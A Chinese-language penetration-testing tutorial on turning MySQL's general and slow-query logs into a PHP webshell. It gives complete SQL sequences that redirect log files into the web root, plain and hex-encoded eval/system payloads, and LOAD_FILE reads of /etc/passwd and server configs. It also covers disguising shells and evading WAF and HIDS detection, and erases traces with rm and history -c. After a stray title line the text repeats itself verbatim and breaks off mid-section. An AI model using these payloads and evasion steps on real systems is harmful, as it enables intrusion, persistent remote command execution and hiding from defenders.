1. 项目概述与核心思路拆解看到这个标题很多朋友可能会觉得有点“复古”或者“偏门”。确实在如今各种成熟的Webshell管理工具和漏洞利用框架满天飞的时代通过MySQL日志功能来获取Webshell听起来像是一种“曲线救国”甚至“奇技淫巧”。但恰恰是这种非常规的思路在特定场景下比如目标系统防护严密、常规上传点被严格过滤或者我们手头只有数据库权限时能成为打开突破口的关键钥匙。这次实战复盘我就来详细拆解一次完整的利用过程不仅讲操作更重点剖析每一步背后的原理、踩过的坑以及如何应对各种意外情况。简单来说这个手法的核心逻辑是利用MySQL数据库服务器自身的日志记录功能将我们精心构造的Webshell代码作为一条“SQL查询语句”写入到日志文件中然后通过某种方式让这个日志文件被Web服务器解析执行从而在目标服务器上创建一个可访问的Webshell。听起来有点绕别急我们一步步拆开看。它主要依赖两个日志功能general_log通用查询日志和slow_query_log慢查询日志。前者记录所有到达MySQL服务器的SQL语句后者记录执行时间超过指定阈值的查询。我们的目标就是让一句包含PHP代码的SELECT查询被记录到开启的日志文件里并且这个日志文件的后缀比如.php能被Web服务器当作PHP脚本解析。这个方法有几个典型的适用场景一是你已经通过SQL注入等方式获取了MySQL数据库的操作权限比如root或具有FILE权限的用户但无法直接向Web目录写文件二是目标系统对上传文件的类型、内容检查极其严格常规的Webshell上传被拦截三是你想尝试一种相对隐蔽的文件写入方式因为操作数据库日志在安全日志中可能不如直接的文件上传操作显眼。当然它的局限性也很明显需要数据库有写文件的权限、需要知道Web目录的绝对路径、需要Web服务器能解析日志文件等。接下来我们就进入实战环节看看如何把这些条件串联起来。1.1 环境侦察与前置条件确认任何成功的渗透都始于细致的情报收集。在尝试这个方法之前我们必须确认几个关键的前置条件否则所有操作都是徒劳。1.1.1 数据库权限检查首先你需要一个具备足够权限的数据库账户。最理想的是root用户但并非必须。关键权限有两个FILE权限和SUPER权限在某些MySQL版本中设置全局变量需要SUPER权限。-- 查看当前用户权限 SHOW GRANTS FOR CURRENT_USER(); -- 或者 SELECT * FROM mysql.user WHERE User CURRENT_USER()\G你需要确认输出中包含GRANT FILE ON *.* TO ...这样的语句。FILE权限允许用户读取和写入服务器主机上的文件这是我们将Webshell代码写入日志文件的基础。如果返回结果中没有FILE权限那么这个方法基本就不可行了除非你能提升权限。1.1.2 关键信息收集Web绝对路径与日志状态其次你必须知道目标网站Web目录在服务器上的绝对路径。这是后续让日志文件落地到可访问位置的关键。获取路径的方法有很多通过Web应用漏洞如PHP的phpinfo()页面、报错信息、某些CMS的配置文件泄露等。利用数据库特性在MySQL中可以尝试通过LOAD_FILE()函数读取一些可能包含路径的配置文件例如SELECT LOAD_FILE(/etc/passwd); -- 查看系统用户有时能发现Web服务器用户的家目录 SELECT LOAD_FILE(/usr/local/apache2/conf/httpd.conf); -- Apache配置可能包含DocumentRoot SELECT LOAD_FILE(/etc/nginx/nginx.conf); -- Nginx配置 SELECT LOAD_FILE(/var/www/html/index.php); -- 尝试常见路径基于已知信息猜测常见的路径如/var/www/html,/home/wwwroot,/usr/share/nginx/html,C:\\inetpub\\wwwroot(Windows) 等。同时我们还需要查看当前MySQL的日志配置情况-- 查看通用查询日志和慢查询日志的当前状态与文件路径 SHOW VARIABLES LIKE general_log%; SHOW VARIABLES LIKE slow_query_log%;重点关注四个变量general_log是否开启、general_log_file日志文件路径、slow_query_log是否开启、slow_query_log_file日志文件路径。默认情况下这些日志通常是关闭的并且路径可能在MySQL的数据目录如/var/lib/mysql/下这个目录Web服务器通常无法访问。我们的任务就是改变这个路径。1.1.3 服务器环境推测最后对服务器环境做一个大致推测。主要是Web服务器类型Apache/Nginx和PHP是否启用。这关系到我们最终生成的Webshell文件能否被成功解析。你可以通过HTTP响应头、报错页面风格等方式判断。如果服务器是纯静态的或者使用其他后端语言如Java、Python那么写入PHP Webshell是无效的需要对应调整Payload。注意在整个侦察过程中操作应尽量低调避免触发数据库或系统的频繁告警。例如LOAD_FILE()函数频繁读取不存在的文件可能会在数据库日志中留下明显痕迹。1.2 核心原理为什么日志文件能变成Webshell理解了前置条件我们来深入看看这个手法的核心原理。它巧妙利用了MySQL日志机制和Web服务器解析机制的一个“配合失误”。1.2.1 MySQL日志的记录机制无论是general_log还是slow_query_log它们的工作方式都是将符合条件的SQL语句原样记录到指定的文本文件中。关键点在于“原样”。这意味着如果我们执行这样一条SQL语句SELECT ?php eval($_POST[\cmd\]);?并且日志功能是开启的那么这条完整的SELECT语句包括我们精心构造的PHP代码字符串都会被一字不差地写入日志文件。日志文件本身是文本文件内容对我们来说是可控的。1.2.2 文件路径与解析漏洞默认的日志路径如/var/lib/mysql/hostname.log不在Web目录下即使写入了PHP代码外界也无法通过HTTP访问。因此我们需要利用FILE权限通过SQL命令动态修改日志文件的保存路径将其指向Web服务器的一个可访问目录例如SET GLOBAL general_log_file /var/www/html/shell.php;执行后新的日志记录就会写到/var/www/html/shell.php这个文件中。这里有一个至关重要的技巧将日志文件名设置为以.php结尾。这样当浏览器请求http://target.com/shell.php时Web服务器如Apache会根据文件后缀调用PHP解析器来处理这个文件。1.2.3 Webshell的“激活”Web服务器在处理.php文件时会寻找?php ... ?标签并执行其中的代码。我们的日志文件里正好有这么一个标签。但是日志文件里除了我们的PHP标签前后还有很多其他内容比如时间戳、线程ID、命令类型等。例如一条完整的日志可能长这样/usr/sbin/mysqld, Version: 5.7.40 (MySQL Community Server). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2024-05-27T10:00:00.000000Z 1 Query SELECT ?php eval($_POST[\cmd\]);?PHP解析器会忽略?php ... ?标签之外的所有纯文本只执行标签内的代码。因此尽管文件里有很多“杂质”但只要PHP标签是完整的、语法是正确的Webshell就能被成功激活。这就是整个技术能够成立的根本原因。实操心得这种方法成功的关键在于“纯净度”。务必确保你的PHP代码在作为字符串被写入日志时不会因为SQL语句的语法问题如引号转义或日志格式的干扰如换行而被破坏。后面我们会详细讲Payload的构造技巧。2. 两种日志利用方式的详细对比与选择虽然目标一致但利用general_log和slow_query_log在操作细节、隐蔽性和成功率上有所区别。理解它们的差异能帮助我们在实战中做出更合适的选择。2.1 通用查询日志General Log利用详解通用查询日志会记录所有发往MySQL服务器的客户端连接和语句信息非常详细。这既是它的优点也是缺点。2.1.1 利用步骤与命令序列利用general_log的步骤通常最为直接开启日志并设置路径首先开启通用查询日志并将其文件路径设置为Web目录下的一个.php文件。-- 设置日志文件路径 SET GLOBAL general_log_file /var/www/html/tmp/g.php; -- 开启通用查询日志 SET GLOBAL general_log ON;这里我将文件放在/tmp子目录是一种简单的目录探测和避免覆盖已有文件的方法。执行Webshell Payload执行一条包含Webshell代码的查询。通常使用SELECT因为它最简单。SELECT ?php system($_GET[\c\]);?;关闭日志可选为了减少噪音和避免暴露后续操作可以关闭日志。SET GLOBAL general_log OFF;访问Webshell通过浏览器或工具访问http://target.com/tmp/g.php并使用?cwhoami这样的参数来执行命令。2.1.2 优势与风险分析优势可靠性高只要日志开启任何查询都会被记录写入成功率接近100%。操作简单步骤清晰命令少。风险与缺点噪音极大开启后所有数据库操作包括其他应用正常的查询、甚至我们自己的后续操作都会被记录到Webshell文件中。这会导致文件迅速变大并且在访问时可能因为文件过大或格式混乱导致PHP解析器出错。极其显眼general_log在性能敏感的数据库服务器上通常是关闭的。突然开启它会在MySQL的错误日志或管理监控中产生明显记录容易被管理员发现。可能遗留痕迹即使关闭日志文件路径可能被修改过管理员检查变量设置时可能发现异常。2.2 慢查询日志Slow Query Log利用详解慢查询日志只记录执行时间超过long_query_time默认10秒的查询。我们可以利用这个特性构造一个“慢查询”来触发记录。2.2.1 利用步骤与命令序列利用slow_query_log需要一点小技巧设置慢查询日志路径SET GLOBAL slow_query_log_file /var/www/html/info_s.php;开启慢查询日志SET GLOBAL slow_query_log ON;临时修改慢查询阈值为了让我们接下来的查询被记录需要将long_query_time设置为一个很小的值比如0秒或0.001秒。SET GLOBAL long_query_time 0; -- 注意某些版本或配置下可能需要新开一个数据库会话才能让这个全局变量对新会话生效。执行一个“慢”的Webshell查询执行一个包含Webshell代码并且人为使其“变慢”的查询。最简单的方法是使用sleep()函数如果可用。SELECT ?php phpinfo();? FROM mysql.user WHERE SLEEP(2);或者如果sleep函数被禁用可以执行一个复杂的笛卡尔积查询来消耗时间SELECT ?php echo id;? FROM information_schema.tables A, information_schema.tables B, information_schema.tables C LIMIT 1;恢复阈值并关闭日志可选SET GLOBAL long_query_time 10; -- 恢复默认值 SET GLOBAL slow_query_log OFF;2.2.2 优势与风险分析优势相对隐蔽慢查询日志在有些生产环境中是默认开启的用于性能分析。修改其路径和阈值的行为可能比开启general_log稍微不那么引人注目。日志文件干净文件里通常只会有我们触发的那一条“慢查询”记录文件小巧访问稳定不会混入其他无关查询。风险与缺点成功率依赖“慢”必须确保查询真的被判定为“慢查询”。在负载很轻的数据库上即使设置long_query_time0一些简单查询也可能因为执行太快而无法被记录。需要可靠的方法来拖长查询时间。依赖额外函数或特性使用sleep()或制造复杂查询可能受到数据库配置或权限的限制。阈值修改有痕迹修改long_query_time全局变量同样会被记录。注意事项在选择哪种方法时需要根据实际情况权衡。如果追求绝对可靠用general_log。如果环境对日志开启敏感且能构造出稳定的慢查询可以尝试slow_query_log。在时间紧迫的实战中我通常会先尝试slow_query_log因为生成的文件更干净如果失败再使用general_log作为保底方案。3. 完整实战流程与深度操作解析纸上得来终觉浅绝知此事要躬行。下面我将结合一个模拟的实战场景带你走一遍完整的流程并深入每一个操作的细节和可能遇到的问题。模拟场景我们通过一个SQL注入点获得了MySQL数据库root用户的权限具备FILE权限。已知Web目录绝对路径为/var/www/html服务器是Apache PHP环境。3.1 第一阶段精细化的信息收集与确认即使已经知道了Web路径更细致的信息收集也能提高成功率。-- 1. 确认当前用户和权限再次确认 SELECT CURRENT_USER(), SUPER_PRIV, FILE_PRIV FROM mysql.user WHERE USERSUBSTRING_INDEX(CURRENT_USER(), , 1)\G -- 2. 查看当前所有日志相关变量评估环境 SHOW VARIABLES LIKE %log%; -- 重点关注 -- log_output: 日志输出是FILE还是TABLE如果是TABLE则日志写入mysql.general_log表此方法失效。需要先改为FILE。 -- secure_file_priv: 这个变量如果设置了路径则只能向该路径及其子目录写文件。如果是NULL则禁止文件写入此方法完全失效。如果是空字符串则没有限制。 -- 3. 探测Web目录是否存在及是否有写权限间接方法 -- 尝试向一个临时文件写入一个测试字符串 SET GLOBAL general_log_file /var/www/html/test_write.txt; SET GLOBAL general_log ON; SELECT test_write; SET GLOBAL general_log OFF; -- 然后尝试通过HTTP访问 http://target.com/test_write.txt 看是否能读到test_write。如果能证明路径正确且有写权限。这一步非常关键。secure_file_priv是MySQL的一个安全配置如果它被设置为一个目录如/tmp/那么你只能将日志文件设置到那个目录下。如果设置为NULL那么任何文件操作包括LOAD_FILE和日志重定向都会被禁止这个技术就完全行不通了。3.2 第二阶段Payload构造的艺术与陷阱规避Payload不是简单的一句话。需要考虑SQL语法、字符串转义、日志格式干扰和最终的PHP语法正确性。3.2.1 基础Payload构造一个基础的Payload如下SELECT ?php eval($_POST[\pass\]);?;这里有几个要点外层引号使用单引号包裹PHP代码这是SQL字符串的表示方式。PHP标签必须包含完整的?php ... ?。内层引号转义PHP代码中$_POST[pass]里的双引号在SQL字符串中需要用反斜杠\进行转义变成\否则SQL语句会提前结束导致语法错误。避免分号冲突PHP语句结尾的分号;在SQL的SELECT语句中没问题但如果使用如?php system($_GET[\c\]);?最后的?之前的分号是PHP语法的一部分需要保留。3.2.2 应对日志格式的干扰日志会在我们的Payload前后添加额外信息。为了确保PHP解析器只关心我们的标签要保证标签的完整性不被破坏。最怕的是日志记录时在标签中间换行。虽然概率低但我们可以通过构造Payload来避免。避免注释干扰不要在Payload中使用/* */或--等SQL注释它们可能被日志记录机制特殊处理。紧凑写法将代码写在一行内避免不必要的空格和换行。使用十六进制编码高级这是最稳健的方法。可以将PHP代码转换成十六进制字符串然后用MySQL的UNHEX()函数还原。这样能完全避免引号转义问题。SELECT UNHEX(3C3F70687020406576616C28245F504F53545B2270617373225D293B203F3E); -- 上面的十六进制字符串解码后正是 ?php eval($_POST[pass]); ?在日志中这条语句会被记录为SELECT UNHEX(...)执行后写入文件的内容就是解码后的原始PHP代码干净无干扰。3.2.3 功能更丰富的Webshell你可以根据需要构造更强大的Webshell。-- 一个简单的文件管理器功能 SELECT ?php if(isset($_GET[\f\])){highlight_file($_GET[\f\]);} if(isset($_POST[\c\])){system($_POST[\c\]);} ?; -- 使用base64编码绕过简单过滤需在Webshell中解码 SELECT ?php eval(base64_decode($_POST[\z\]));?; -- 然后POST传递 zbase64_encode(‘system(“whoami”);’) 等3.3 第三阶段执行与验证这里我们选择使用slow_query_log进行演示因为它更干净。-- 步骤1: 设置慢查询日志路径到Web目录 SET GLOBAL slow_query_log_file /var/www/html/images/logo_update.php; -- 我选择images目录因为它通常存在且有执行权限且文件名logo_update.php看起来较正常。 -- 步骤2: 开启慢查询日志 SET GLOBAL slow_query_log ON; -- 步骤3: 设置慢查询阈值为0确保接下来的查询被记录 SET GLOBAL long_query_time 0; -- *** 重要对于某些MySQL版本如5.7修改此全局变量后需要新开一个数据库连接会话才会生效。*** -- 在已有SQL注入点可能不方便新开会话。备用方案是设置一个非常小的正数如0.001然后执行一个确实很慢的查询。 -- 步骤4: 执行构造好的慢查询Payload -- 方案A: 使用SLEEP (如果函数可用) SELECT UNHEX(3C3F7068702069662869737365742824504F53545B2763275D29297B73797374656D2824504F53545B2763275D293B7D3F3E) FROM mysql.user WHERE SLEEP(3); -- 这个十六进制解码后是?php if(isset($_POST[c])){system($_POST[c]);}? -- 方案B: 如果不允许SLEEP使用大量表连接制造耗时 SELECT UNHEX(3C3F70687020706870696E666F28293B203F3E) FROM information_schema.columns A, information_schema.columns B LIMIT 1; -- 这个解码后是 ?php phpinfo(); ? -- 步骤5: (可选) 恢复环境清理痕迹 SET GLOBAL long_query_time 10; -- 恢复默认慢查询阈值 SET GLOBAL slow_query_log OFF; -- 注意不要急于删除日志文件或改回路径先验证Webshell是否成功。验证打开浏览器访问http://target.com/images/logo_update.php。如果看到空白页或页面上方有一些MySQL日志的文本如时间戳但页面没有错误如500 Internal Server Error这通常是好迹象说明文件被PHP解析了只是我们的代码可能没有输出。使用Hack/Postman等工具向该URL发送一个POST请求Body内容为cwhoami。查看响应如果返回了当前系统用户的用户名如www-data则说明Webshell成功执行系统命令利用成功。实操心得验证阶段访问页面时如果直接返回了下载对话框或者显示了PHP源代码说明Web服务器没有将该.php文件解析为PHP脚本。可能的原因有1) 文件后缀不是.php2) Web服务器如Nginx未配置对.php文件的处理3) 该目录下禁用了PHP执行通过.htaccess或Nginx配置。此时需要尝试其他目录或后缀如.phtml,.php5等。4. 进阶技巧、隐蔽性与痕迹清理一次成功的渗透不仅要能进去还要尽量安静地待着并且走的时候不留明显脚印。4.1 提升隐蔽性的技巧目录选择不要直接写在网站根目录。选择/upload/,/images/,/static/,/cache/,/tmp/等已存在且通常有执行权限的目录。这些目录下出现新的php文件相对不那么突兀。文件名伪装使用cache.php,api_config.php,theme_update.php,index.php.bak等看起来像正常系统文件或备份文件的名称。内容伪装在Webshell代码前后添加大量无害的注释或垃圾代码甚至模仿某个真实框架的配置文件格式以规避简单的静态文件扫描。SELECT /* * Configuration file for X-Cache Plugin * version 1.2 */ ?php eval($_POST[\z\]);? // EOF ;使用慢查询日志如前所述它比通用日志更安静。最小化操作在获取Webshell后立即将日志路径改回原值或一个非Web目录并关闭日志。避免持续产生日志暴露行踪。4.2 操作痕迹清理理想情况下在完全撤离前应清理操作痕迹。但数据库操作日志的清理风险很高容易触发警报。清理MySQL日志文件本身通过Webshell连接后直接删除生成的logo_update.php文件。rm -f /var/www/html/images/logo_update.php恢复MySQL配置通过Webshell执行mysql命令或在获取的数据库会话中将修改过的全局变量恢复。-- 通过Webshell连接数据库后执行 mysql -uroot -p[密码] -e SET GLOBAL slow_query_log_file /var/lib/mysql/slow.log; SET GLOBAL long_query_time 10;注意此操作需谨慎因为通过Webshell执行高危命令连接数据库可能被命令审计记录。清理历史命令如果通过Webshell执行了命令清理一下Shell历史。history -c警告清理数据库自身的操作日志如mysql.general_log表或二进制日志非常危险除非你有绝对把握且情况紧急否则不建议操作。不完美的清理比不清理更容易引起怀疑。4.3 对抗安全防护的思考现代WAF和HIDS可能会检测这种攻击。WAF层面可能会检测异常的SQL语句如包含?php的SELECT查询或者检测SET GLOBAL这类数据库配置修改操作。对抗方法包括使用十六进制编码、将关键词分割拼接如SEL||ECT、或利用数据库特性绕过。HIDS层面可能会监控Web目录下新出现的.php文件或监控MySQL日志文件路径的异常变更。对抗方法依赖于更巧妙的目录和文件名伪装以及更快的“用后即焚”策略。数据库审计如果数据库开启了审计功能SET GLOBAL命令和异常的SELECT语句会被记录。这几乎没有完美的对抗方法只能依靠前期的信息收集判断目标环境是否具备严格的审计能力。5. 常见问题排查与实战经验录在实际操作中你几乎一定会遇到各种问题。下面是我总结的一些常见“坑”及其解决方案。5.1 Webshell访问失败问题排查表问题现象可能原因排查步骤与解决方案访问返回 404 Not Found1. 文件路径错误。2. 文件未成功创建。1. 复核Web绝对路径。通过已知文件推测如/var/www/html/logo.png存在则根目录正确。2. 检查数据库操作是否成功。执行SHOW VARIABLES LIKE slow_query_log_file;确认路径已更改。执行一个简单查询触发日志再检查文件是否存在需通过Webshell或其他方式。访问返回 500 Internal Server Error1. PHP语法错误。2. 日志文件格式干扰导致PHP解析失败。1. 检查Payload构造。确保PHP标签完整引号正确转义。最推荐使用十六进制UNHEX方式能彻底避免语法问题。2. 访问日志文件时查看页面源代码。如果能看到原始的SQL日志文本说明PHP未解析。可能是文件后缀不被识别。尝试.phtml,.php5,.php7等后缀。也可能是该目录禁用了PHP换目录尝试。访问时直接下载.php文件Web服务器未配置处理.php文件。常见于Nginx未正确关联PHP-FPM。此方法在该环境下可能无效需寻找其他突破口。访问空白页POST命令无回显1. Webshell代码执行但无输出。2.system()等函数被禁用。3. 命令执行环境问题。1. 换用有回显的Payload如?php echowhoami;?或?php echo shell_exec(whoami);?。2. 检查PHP禁用函数列表。尝试其他执行方式passthru(),exec(),popen(), 或反引号。3. 使用绝对路径执行命令如/bin/whoami。执行SET GLOBAL报错1227权限不足。当前用户缺少SUPER权限。确认用户权限。如果只有FILE而无SUPER在MySQL 5.7版本可能无法动态修改全局变量。可以尝试修改my.cnf配置文件并重启但这在渗透中不现实。此路可能不通。日志文件内容为空或没有Payload1. 日志未成功开启。2. 查询未被记录针对慢查询。3.log_output设置为TABLE。1. 确认general_log或slow_query_log的值为ON。2. 对于慢查询确认long_query_time足够小且查询确实耗时。用SELECT BENCHMARK(10000000, MD5(test))制造CPU耗时。3. 执行SHOW VARIABLES LIKE log_output;。如果是TABLE先执行SET GLOBAL log_output FILE;。5.2 来自实战的几条血泪经验“先测试后实战”原则在本地或可控的测试环境如Docker快速搭建的LAMP中完整演练整个流程理解每一个环节。这能帮你快速定位问题避免在真实目标上留下大量失败日志。路径分隔符陷阱在Windows系统上MySQL路径使用反斜杠\并且需要转义如C:\\inetpub\\wwwroot\\shell.php。在Linux上则是正斜杠/。会话Session问题修改long_query_time等全局变量后只对新建立的数据库会话生效。这意味着如果你通过一个持久的SQL注入点执行紧接着的Payload查询可能不会被记录。最稳妥的方法是修改变量和执行Payload在两个完全独立的数据库连接中进行。文件覆盖风险如果设置的日志文件路径已存在SET GLOBAL ..._log_file命令会覆盖原文件。这可能导致网站原有功能被破坏立即引起管理员警觉。务必选择一个不存在的文件路径。备用方案如果日志写入Web目录的方法行不通可以尝试写入到/tmp目录然后利用本地文件包含LFI漏洞去包含这个日志文件。思路是general_log_file /tmp/mysql.log然后通过存在的LFI漏洞包含/tmp/mysql.log使其中的PHP代码被执行。这个方法虽然不像0day漏洞那样犀利但它考验的是对目标系统组件的深入理解和灵活运用。在严格的防守面前这种需要多个条件配合的技巧成功率在下降但它依然是渗透测试人员武器库中一件值得了解的“特殊工具”。记住真正的安全攻防往往就发生在这些看似平常的组件和配置的缝隙之中。
MySQL日志写入Webshell:原理、实战与隐蔽性技巧
1. 项目概述与核心思路拆解看到这个标题很多朋友可能会觉得有点“复古”或者“偏门”。确实在如今各种成熟的Webshell管理工具和漏洞利用框架满天飞的时代通过MySQL日志功能来获取Webshell听起来像是一种“曲线救国”甚至“奇技淫巧”。但恰恰是这种非常规的思路在特定场景下比如目标系统防护严密、常规上传点被严格过滤或者我们手头只有数据库权限时能成为打开突破口的关键钥匙。这次实战复盘我就来详细拆解一次完整的利用过程不仅讲操作更重点剖析每一步背后的原理、踩过的坑以及如何应对各种意外情况。简单来说这个手法的核心逻辑是利用MySQL数据库服务器自身的日志记录功能将我们精心构造的Webshell代码作为一条“SQL查询语句”写入到日志文件中然后通过某种方式让这个日志文件被Web服务器解析执行从而在目标服务器上创建一个可访问的Webshell。听起来有点绕别急我们一步步拆开看。它主要依赖两个日志功能general_log通用查询日志和slow_query_log慢查询日志。前者记录所有到达MySQL服务器的SQL语句后者记录执行时间超过指定阈值的查询。我们的目标就是让一句包含PHP代码的SELECT查询被记录到开启的日志文件里并且这个日志文件的后缀比如.php能被Web服务器当作PHP脚本解析。这个方法有几个典型的适用场景一是你已经通过SQL注入等方式获取了MySQL数据库的操作权限比如root或具有FILE权限的用户但无法直接向Web目录写文件二是目标系统对上传文件的类型、内容检查极其严格常规的Webshell上传被拦截三是你想尝试一种相对隐蔽的文件写入方式因为操作数据库日志在安全日志中可能不如直接的文件上传操作显眼。当然它的局限性也很明显需要数据库有写文件的权限、需要知道Web目录的绝对路径、需要Web服务器能解析日志文件等。接下来我们就进入实战环节看看如何把这些条件串联起来。1.1 环境侦察与前置条件确认任何成功的渗透都始于细致的情报收集。在尝试这个方法之前我们必须确认几个关键的前置条件否则所有操作都是徒劳。1.1.1 数据库权限检查首先你需要一个具备足够权限的数据库账户。最理想的是root用户但并非必须。关键权限有两个FILE权限和SUPER权限在某些MySQL版本中设置全局变量需要SUPER权限。-- 查看当前用户权限 SHOW GRANTS FOR CURRENT_USER(); -- 或者 SELECT * FROM mysql.user WHERE User CURRENT_USER()\G你需要确认输出中包含GRANT FILE ON *.* TO ...这样的语句。FILE权限允许用户读取和写入服务器主机上的文件这是我们将Webshell代码写入日志文件的基础。如果返回结果中没有FILE权限那么这个方法基本就不可行了除非你能提升权限。1.1.2 关键信息收集Web绝对路径与日志状态其次你必须知道目标网站Web目录在服务器上的绝对路径。这是后续让日志文件落地到可访问位置的关键。获取路径的方法有很多通过Web应用漏洞如PHP的phpinfo()页面、报错信息、某些CMS的配置文件泄露等。利用数据库特性在MySQL中可以尝试通过LOAD_FILE()函数读取一些可能包含路径的配置文件例如SELECT LOAD_FILE(/etc/passwd); -- 查看系统用户有时能发现Web服务器用户的家目录 SELECT LOAD_FILE(/usr/local/apache2/conf/httpd.conf); -- Apache配置可能包含DocumentRoot SELECT LOAD_FILE(/etc/nginx/nginx.conf); -- Nginx配置 SELECT LOAD_FILE(/var/www/html/index.php); -- 尝试常见路径基于已知信息猜测常见的路径如/var/www/html,/home/wwwroot,/usr/share/nginx/html,C:\\inetpub\\wwwroot(Windows) 等。同时我们还需要查看当前MySQL的日志配置情况-- 查看通用查询日志和慢查询日志的当前状态与文件路径 SHOW VARIABLES LIKE general_log%; SHOW VARIABLES LIKE slow_query_log%;重点关注四个变量general_log是否开启、general_log_file日志文件路径、slow_query_log是否开启、slow_query_log_file日志文件路径。默认情况下这些日志通常是关闭的并且路径可能在MySQL的数据目录如/var/lib/mysql/下这个目录Web服务器通常无法访问。我们的任务就是改变这个路径。1.1.3 服务器环境推测最后对服务器环境做一个大致推测。主要是Web服务器类型Apache/Nginx和PHP是否启用。这关系到我们最终生成的Webshell文件能否被成功解析。你可以通过HTTP响应头、报错页面风格等方式判断。如果服务器是纯静态的或者使用其他后端语言如Java、Python那么写入PHP Webshell是无效的需要对应调整Payload。注意在整个侦察过程中操作应尽量低调避免触发数据库或系统的频繁告警。例如LOAD_FILE()函数频繁读取不存在的文件可能会在数据库日志中留下明显痕迹。1.2 核心原理为什么日志文件能变成Webshell理解了前置条件我们来深入看看这个手法的核心原理。它巧妙利用了MySQL日志机制和Web服务器解析机制的一个“配合失误”。1.2.1 MySQL日志的记录机制无论是general_log还是slow_query_log它们的工作方式都是将符合条件的SQL语句原样记录到指定的文本文件中。关键点在于“原样”。这意味着如果我们执行这样一条SQL语句SELECT ?php eval($_POST[\cmd\]);?并且日志功能是开启的那么这条完整的SELECT语句包括我们精心构造的PHP代码字符串都会被一字不差地写入日志文件。日志文件本身是文本文件内容对我们来说是可控的。1.2.2 文件路径与解析漏洞默认的日志路径如/var/lib/mysql/hostname.log不在Web目录下即使写入了PHP代码外界也无法通过HTTP访问。因此我们需要利用FILE权限通过SQL命令动态修改日志文件的保存路径将其指向Web服务器的一个可访问目录例如SET GLOBAL general_log_file /var/www/html/shell.php;执行后新的日志记录就会写到/var/www/html/shell.php这个文件中。这里有一个至关重要的技巧将日志文件名设置为以.php结尾。这样当浏览器请求http://target.com/shell.php时Web服务器如Apache会根据文件后缀调用PHP解析器来处理这个文件。1.2.3 Webshell的“激活”Web服务器在处理.php文件时会寻找?php ... ?标签并执行其中的代码。我们的日志文件里正好有这么一个标签。但是日志文件里除了我们的PHP标签前后还有很多其他内容比如时间戳、线程ID、命令类型等。例如一条完整的日志可能长这样/usr/sbin/mysqld, Version: 5.7.40 (MySQL Community Server). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2024-05-27T10:00:00.000000Z 1 Query SELECT ?php eval($_POST[\cmd\]);?PHP解析器会忽略?php ... ?标签之外的所有纯文本只执行标签内的代码。因此尽管文件里有很多“杂质”但只要PHP标签是完整的、语法是正确的Webshell就能被成功激活。这就是整个技术能够成立的根本原因。实操心得这种方法成功的关键在于“纯净度”。务必确保你的PHP代码在作为字符串被写入日志时不会因为SQL语句的语法问题如引号转义或日志格式的干扰如换行而被破坏。后面我们会详细讲Payload的构造技巧。2. 两种日志利用方式的详细对比与选择虽然目标一致但利用general_log和slow_query_log在操作细节、隐蔽性和成功率上有所区别。理解它们的差异能帮助我们在实战中做出更合适的选择。2.1 通用查询日志General Log利用详解通用查询日志会记录所有发往MySQL服务器的客户端连接和语句信息非常详细。这既是它的优点也是缺点。2.1.1 利用步骤与命令序列利用general_log的步骤通常最为直接开启日志并设置路径首先开启通用查询日志并将其文件路径设置为Web目录下的一个.php文件。-- 设置日志文件路径 SET GLOBAL general_log_file /var/www/html/tmp/g.php; -- 开启通用查询日志 SET GLOBAL general_log ON;这里我将文件放在/tmp子目录是一种简单的目录探测和避免覆盖已有文件的方法。执行Webshell Payload执行一条包含Webshell代码的查询。通常使用SELECT因为它最简单。SELECT ?php system($_GET[\c\]);?;关闭日志可选为了减少噪音和避免暴露后续操作可以关闭日志。SET GLOBAL general_log OFF;访问Webshell通过浏览器或工具访问http://target.com/tmp/g.php并使用?cwhoami这样的参数来执行命令。2.1.2 优势与风险分析优势可靠性高只要日志开启任何查询都会被记录写入成功率接近100%。操作简单步骤清晰命令少。风险与缺点噪音极大开启后所有数据库操作包括其他应用正常的查询、甚至我们自己的后续操作都会被记录到Webshell文件中。这会导致文件迅速变大并且在访问时可能因为文件过大或格式混乱导致PHP解析器出错。极其显眼general_log在性能敏感的数据库服务器上通常是关闭的。突然开启它会在MySQL的错误日志或管理监控中产生明显记录容易被管理员发现。可能遗留痕迹即使关闭日志文件路径可能被修改过管理员检查变量设置时可能发现异常。2.2 慢查询日志Slow Query Log利用详解慢查询日志只记录执行时间超过long_query_time默认10秒的查询。我们可以利用这个特性构造一个“慢查询”来触发记录。2.2.1 利用步骤与命令序列利用slow_query_log需要一点小技巧设置慢查询日志路径SET GLOBAL slow_query_log_file /var/www/html/info_s.php;开启慢查询日志SET GLOBAL slow_query_log ON;临时修改慢查询阈值为了让我们接下来的查询被记录需要将long_query_time设置为一个很小的值比如0秒或0.001秒。SET GLOBAL long_query_time 0; -- 注意某些版本或配置下可能需要新开一个数据库会话才能让这个全局变量对新会话生效。执行一个“慢”的Webshell查询执行一个包含Webshell代码并且人为使其“变慢”的查询。最简单的方法是使用sleep()函数如果可用。SELECT ?php phpinfo();? FROM mysql.user WHERE SLEEP(2);或者如果sleep函数被禁用可以执行一个复杂的笛卡尔积查询来消耗时间SELECT ?php echo id;? FROM information_schema.tables A, information_schema.tables B, information_schema.tables C LIMIT 1;恢复阈值并关闭日志可选SET GLOBAL long_query_time 10; -- 恢复默认值 SET GLOBAL slow_query_log OFF;2.2.2 优势与风险分析优势相对隐蔽慢查询日志在有些生产环境中是默认开启的用于性能分析。修改其路径和阈值的行为可能比开启general_log稍微不那么引人注目。日志文件干净文件里通常只会有我们触发的那一条“慢查询”记录文件小巧访问稳定不会混入其他无关查询。风险与缺点成功率依赖“慢”必须确保查询真的被判定为“慢查询”。在负载很轻的数据库上即使设置long_query_time0一些简单查询也可能因为执行太快而无法被记录。需要可靠的方法来拖长查询时间。依赖额外函数或特性使用sleep()或制造复杂查询可能受到数据库配置或权限的限制。阈值修改有痕迹修改long_query_time全局变量同样会被记录。注意事项在选择哪种方法时需要根据实际情况权衡。如果追求绝对可靠用general_log。如果环境对日志开启敏感且能构造出稳定的慢查询可以尝试slow_query_log。在时间紧迫的实战中我通常会先尝试slow_query_log因为生成的文件更干净如果失败再使用general_log作为保底方案。3. 完整实战流程与深度操作解析纸上得来终觉浅绝知此事要躬行。下面我将结合一个模拟的实战场景带你走一遍完整的流程并深入每一个操作的细节和可能遇到的问题。模拟场景我们通过一个SQL注入点获得了MySQL数据库root用户的权限具备FILE权限。已知Web目录绝对路径为/var/www/html服务器是Apache PHP环境。3.1 